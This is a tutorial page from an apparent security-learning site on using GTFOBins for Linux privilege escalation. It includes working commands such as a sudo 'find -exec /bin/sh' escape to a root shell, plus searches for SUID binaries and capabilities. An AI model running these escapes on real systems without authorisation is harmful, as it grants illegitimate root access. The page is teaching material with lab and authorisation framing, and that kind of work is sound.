home/toolvault/priv-esc & post-exploitation/gtfobins

GTFOBins //

Priv-Esc & Post-Exploitationliving-off-land

The bible of Unix binaries you can abuse when sudo/SUID/capabilities misconfigure. Turns 'sudo can run vim' into 'I have root' three visits a month.

difficulty ยท easy
3 min
time to first win
5
guided steps
0
students started here*

HOW TO USE GTFOBINS

Follow the steps โ€” click any step card to replay the terminal demo from that point. Everything runs in a lab you control.

gtfobins โ€” guided lab session
static view
step 01

Check your sudo rights

sudo -l

Any sudo binary = lookup time.

step 02

Look it up

browser: gtfobins.github.io โ†’ search find

Each binary page lists escape snippets per context.

step 03

Execute the escape

sudo find . -exec /bin/sh \; -quit

You just used a sysadmin's convenience as a ladder.

step 04

SUID variant

find / -perm -4000 2>/dev/null โ†’ GTFO cross-check

SUID-bit binaries are fair game for the same abuse.

step 05

Capabilities too

getcap -r / 2>/dev/null

Modern Linux caps are SUID 2.0 โ€” always check.

THE WORKFLOW AT A GLANCE

๐Ÿ”Ž
sudo -l
what's allowed
๐Ÿ“–
GTFOBins
find recipe
โšก
Execute
escape snippet
๐Ÿ‘‘
Root
id proves it
๐Ÿ“
Note
writeup it
LEARNING CURVE
easy โ€” 3 min to first win

FLAGS & SUPER-MOVES

sudo contextno password? escape
SUID contextbit + binary
capabilitiescap_setuid etc.
LOLBASthe Windows sibling
search by binaryinstant recipes

PRO TIPS

01

Bookmark the trio

Bookmark the trio: GTFOBins (linux), LOLBAS (windows), WADComs (workflow).

02

When sudo -l shows ANYTHING nonstandard โ†’ GTFOBins first, thinking second.

When sudo -l shows ANYTHING nonstandard โ†’ GTFOBins first, thinking second.

03

Blue team

Blue team: every GTFOBin-able sudo rule is a defect; inventory yours.

04

TryHackMe 'Linux PrivEsc' room is the perfect companion.

TryHackMe 'Linux PrivEsc' room is the perfect companion.

โš–๏ธ

Golden rule

Use GTFOBins only on systems you own or have written permission to test. Your lab: Kali + Metasploitable2, DVWA, TryHackMe & HackTheBox โ€” plenty of legal targets, zero risk.

KEEP DIGGING

CYBER//ZERO ToolVault
Animated deep-dives on every tool in the guide.
โœ๏ธ Author LDM ยท ldmhub4u@gmail.com
full guide v1 ยท v2 immersive ยท latest news
Made for learners, everywhere ยท 2026
*plausibly. verify commands with official docs.